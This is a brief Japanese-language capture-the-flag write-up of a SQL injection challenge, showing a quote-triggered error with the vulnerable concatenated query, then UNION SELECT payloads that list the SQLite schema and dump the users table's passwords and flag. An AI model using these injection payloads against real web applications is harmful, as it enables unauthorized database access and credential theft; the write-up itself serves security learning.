/?id=2
で人を表示させている。
/?id=1
とするとadminが出てくる。
とりあえず/?id='
してみる。
Traceback (most recent call last): File "unionflaggenerator.py", line 49, in do_GET cursor.execute("SELECT id, name, email FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: unrecognized token: "'"
OK. SQL Injectionができそう。
-1 union SELECT 1,group_concat(sql),3 FROM sqlite_master /?id=-1%20union%20SELECT%201%2Cgroup_concat%28sql%29%2C3%20FROM%20sqlite_master -> CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, email TEXT, password TEXT), CREATE TABLE sqlite_sequence(name,seq), CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT) -1 union SELECT 1,group_concat(password),3 FROM users /?id=-1%20union%20SELECT%201%2Cgroup_concat%28password%29%2C3%20FROM%20users union{uni0n_4ll_s3l3ct_n0t_4_n00b},RightBehindU,diamond69_hands420,winter2020,peter1,password,ilikesex
フラグが出てきた。
union{uni0n_4ll_s3l3ct_n0t_4_n00b}